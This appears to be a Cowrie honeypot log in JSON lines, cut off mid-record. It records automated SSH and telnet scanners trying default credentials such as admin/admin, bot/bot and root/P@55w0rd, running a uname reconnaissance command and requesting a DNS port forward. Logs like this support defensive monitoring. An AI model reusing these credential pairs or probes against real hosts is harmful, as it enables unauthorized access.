{"eventid":"cowrie.session.closed","duration":41.085514545440674,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:30.290729Z","src_ip":"45.58.127.90","session":"f8d781d84b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.416566371917725,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:30.892056Z","src_ip":"45.58.127.90","session":"2e08d838eb6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35870,"dst_ip":"10.17.0.5","dst_port":23,"session":"450f6443e415","protocol":"telnet","message":"New connection: 45.58.127.90:35870 (10.17.0.5:23) [session: 450f6443e415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:33.624032Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52124,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc403041c26d","protocol":"ssh","message":"New connection: 87.251.64.176:52124 (10.17.0.5:22) [session: bc403041c26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:34.680504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:34.685953Z","src_ip":"87.251.64.176","session":"bc403041c26d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:34.786283Z","src_ip":"87.251.64.176","session":"bc403041c26d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:35.076353Z","src_ip":"87.251.64.176","session":"bc403041c26d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:35.178334Z","session":"bc403041c26d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:35.276362Z","src_ip":"87.251.64.176","session":"bc403041c26d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:35.513879Z","src_ip":"87.251.64.176","session":"bc403041c26d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55940,"dst_ip":"159.203.135.109","dst_port":22,"session":"d145950f2341","protocol":"ssh","message":"New connection: 172.237.20.62:55940 (159.203.135.109:22) [session: d145950f2341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:38.959953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:38.964627Z","src_ip":"172.237.20.62","session":"d145950f2341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:39.123633Z","src_ip":"172.237.20.62","session":"d145950f2341","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:39.604460Z","src_ip":"172.237.20.62","session":"d145950f2341","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:39.956174Z","src_ip":"172.237.20.62","session":"d145950f2341","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:39.959156Z","src_ip":"172.237.20.62","session":"d145950f2341","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:40.119883Z","src_ip":"172.237.20.62","session":"d145950f2341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:40.125043Z","src_ip":"172.237.20.62","session":"d145950f2341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41260,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ecd6944e4b0","protocol":"ssh","message":"New connection: 172.237.20.62:41260 (159.203.135.109:22) [session: 8ecd6944e4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:49.847958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:49.852812Z","src_ip":"172.237.20.62","session":"8ecd6944e4b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:50.012317Z","src_ip":"172.237.20.62","session":"8ecd6944e4b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:50.489687Z","src_ip":"172.237.20.62","session":"8ecd6944e4b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45266,"dst_ip":"10.17.0.5","dst_port":23,"session":"a003cdad77e3","protocol":"telnet","message":"New connection: 45.58.127.90:45266 (10.17.0.5:23) [session: a003cdad77e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:51.015670Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:51.650608Z","src_ip":"172.237.20.62","session":"8ecd6944e4b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45270,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dfcd1271489","protocol":"telnet","message":"New connection: 45.58.127.90:45270 (10.17.0.5:23) [session: 8dfcd1271489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:52.629357Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45282,"dst_ip":"10.17.0.5","dst_port":23,"session":"01a5411df936","protocol":"telnet","message":"New connection: 45.58.127.90:45282 (10.17.0.5:23) [session: 01a5411df936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:53.435538Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45298,"dst_ip":"10.17.0.5","dst_port":23,"session":"92d4bfb812f2","protocol":"telnet","message":"New connection: 45.58.127.90:45298 (10.17.0.5:23) [session: 92d4bfb812f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:56.567417Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58938,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c9952705949","protocol":"ssh","message":"New connection: 172.237.20.62:58938 (159.203.135.109:22) [session: 0c9952705949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:00.784062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:00.789447Z","src_ip":"172.237.20.62","session":"0c9952705949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:00.953390Z","src_ip":"172.237.20.62","session":"0c9952705949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:01.480766Z","src_ip":"172.237.20.62","session":"0c9952705949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:02.664608Z","src_ip":"172.237.20.62","session":"0c9952705949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53098,"dst_ip":"10.17.0.5","dst_port":23,"session":"b61f76862e17","protocol":"telnet","message":"New connection: 45.58.127.90:53098 (10.17.0.5:23) [session: b61f76862e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:03.861553Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46094,"dst_ip":"159.203.135.109","dst_port":22,"session":"aba71d15d624","protocol":"ssh","message":"New connection: 172.237.20.62:46094 (159.203.135.109:22) [session: aba71d15d624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:11.850837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:11.860437Z","src_ip":"172.237.20.62","session":"aba71d15d624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.34592580795288,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:11.969845Z","src_ip":"45.58.127.90","session":"450f6443e415","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:12.024278Z","src_ip":"172.237.20.62","session":"aba71d15d624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:12.514673Z","src_ip":"172.237.20.62","session":"aba71d15d624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:13.683035Z","src_ip":"172.237.20.62","session":"aba71d15d624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58236,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db458930dbb","protocol":"telnet","message":"New connection: 45.58.127.90:58236 (10.17.0.5:23) [session: 1db458930dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:19.824106Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55168,"dst_ip":"159.203.135.109","dst_port":22,"session":"25e81540331d","protocol":"ssh","message":"New connection: 172.237.20.62:55168 (159.203.135.109:22) [session: 25e81540331d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:22.804310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:22.809652Z","src_ip":"172.237.20.62","session":"25e81540331d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:22.971086Z","src_ip":"172.237.20.62","session":"25e81540331d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:23.457386Z","src_ip":"172.237.20.62","session":"25e81540331d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:24.626518Z","src_ip":"172.237.20.62","session":"25e81540331d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47980,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ef9a80bc609","protocol":"ssh","message":"New connection: 172.237.20.62:47980 (159.203.135.109:22) [session: 8ef9a80bc609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:33.358114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:33.364160Z","src_ip":"172.237.20.62","session":"8ef9a80bc609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.74261522293091,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:33.371832Z","src_ip":"45.58.127.90","session":"8dfcd1271489","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa